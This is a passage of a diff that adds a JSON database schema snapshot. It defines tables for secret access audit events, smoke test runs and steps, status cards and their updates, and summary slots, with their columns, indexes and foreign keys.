+          "name": "credential_owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_type": {
+          "name": "credential_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_id": {
+          "name": "credential_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consumer_type": {
+          "name": "consumer_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "consumer_id": {
+          "name": "consumer_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "secret_access_events_company_created_idx": {
+          "name": "secret_access_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_secret_created_idx": {
+          "name": "secret_access_events_secret_created_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_user_definition_created_idx": {
+          "name": "secret_access_events_user_definition_created_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_company_credential_owner_idx": {
+          "name": "secret_access_events_company_credential_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "credential_owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_consumer_idx": {
+          "name": "secret_access_events_consumer_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_run_idx": {
+          "name": "secret_access_events_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "secret_access_events_company_id_companies_id_fk": {
+          "name": "secret_access_events_company_id_companies_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_secret_id_company_secrets_id_fk": {
+          "name": "secret_access_events_secret_id_company_secrets_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_issue_id_issues_id_fk": {
+          "name": "secret_access_events_issue_id_issues_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_plugin_id_plugins_id_fk": {
+          "name": "secret_access_events_plugin_id_plugins_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_run_steps": {
+      "name": "smoke_run_steps",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scenario_step": {
+          "name": "scenario_step",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "detail": {
+          "name": "detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "screenshot_artifact_ref": {
+          "name": "screenshot_artifact_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_run_steps_company_run_idx": {
+          "name": "smoke_run_steps_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_run_steps_company_path_idx": {
+          "name": "smoke_run_steps_company_path_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_run_steps_company_id_companies_id_fk": {
+          "name": "smoke_run_steps_company_id_companies_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "smoke_run_steps_run_id_smoke_runs_id_fk": {
+          "name": "smoke_run_steps_run_id_smoke_runs_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "smoke_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_runs": {
+      "name": "smoke_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_runs_company_started_idx": {
+          "name": "smoke_runs_company_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_runs_company_status_idx": {
+          "name": "smoke_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_runs_company_id_companies_id_fk": {
+          "name": "smoke_runs_company_id_companies_id_fk",
+          "tableFrom": "smoke_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_card_updates": {
+      "name": "status_card_updates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "card_id": {
+          "name": "card_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "generation_issue_id": {
+          "name": "generation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changes": {
+          "name": "changes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "status_card_updates_card_started_idx": {
+          "name": "status_card_updates_card_started_idx",
+          "columns": [
+            {
+              "expression": "card_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_card_updates_generation_issue_idx": {
+          "name": "status_card_updates_generation_issue_idx",
+          "columns": [
+            {
+              "expression": "generation_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_card_updates_card_id_status_cards_id_fk": {
+          "name": "status_card_updates_card_id_status_cards_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "status_cards",
+          "columnsFrom": [
+            "card_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_generation_issue_id_issues_id_fk": {
+          "name": "status_card_updates_generation_issue_id_issues_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_run_id_heartbeat_runs_id_fk": {
+          "name": "status_card_updates_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_cards": {
+      "name": "status_cards",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title_pinned": {
+          "name": "title_pinned",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interest_prompt": {
+          "name": "interest_prompt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queries": {
+          "name": "queries",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "query_compiled_at": {
+          "name": "query_compiled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_compiled_by_agent_id": {
+          "name": "query_compiled_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_policy": {
+          "name": "refresh_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compiling'"
+        },
+        "pending_change_count": {
+          "name": "pending_change_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pending_change_hash": {
+          "name": "pending_change_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_change_at": {
+          "name": "last_change_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint_at": {
+          "name": "fingerprint_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mentioned_issue_ids": {
+          "name": "mentioned_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_update_run_kind": {
+          "name": "last_update_run_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_eval_at": {
+          "name": "next_eval_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "status_cards_company_archived_idx": {
+          "name": "status_cards_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_cards_company_next_eval_idx": {
+          "name": "status_cards_company_next_eval_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_eval_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_cards_company_id_companies_id_fk": {
+          "name": "status_cards_company_id_companies_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_cards_created_by_agent_id_agents_id_fk": {
+          "name": "status_cards_created_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_query_compiled_by_agent_id_agents_id_fk": {
+          "name": "status_cards_query_compiled_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "query_compiled_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_agent_id_agents_id_fk": {
+          "name": "status_cards_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_document_id_documents_id_fk": {
+          "name": "status_cards_document_id_documents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_generating_issue_id_issues_id_fk": {
+          "name": "status_cards_generating_issue_id_issues_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_archived_by_agent_id_agents_id_fk": {
+          "name": "status_cards_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.summary_slots": {
+      "name": "summary_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_by_agent_id": {
+          "name": "last_generated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "summary_slots_document_uq": {
+          "name": "summary_slots_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_scope_idx": {
+          "name": "summary_slots_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_generating_issue_idx": {
+          "name": "summary_slots_company_generating_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "generating_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_updated_idx": {
+          "name": "summary_slots_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "summary_slots_company_id_companies_id_fk": {
+          "name": "summary_slots_company_id_companies_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "summary_slots_document_id_documents_id_fk": {
+          "name": "summary_slots_document_id_documents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_generating_issue_id_issues_id_fk": {
+          "name": "summary_slots_generating_issue_id_issues_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_last_generated_by_agent_id_agents_id_fk": {
+          "name": "summary_slots_last_generated_by_agent_id_agents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "last_generated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "summary_slots_company_scope_slot_uq": {
+          "name": "summary_slots_company_scope_slot_uq",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "scope_kind",
+            "scope_id",
+            "slot_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_access_audit_events": {
+      "name": "tool_access_audit_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
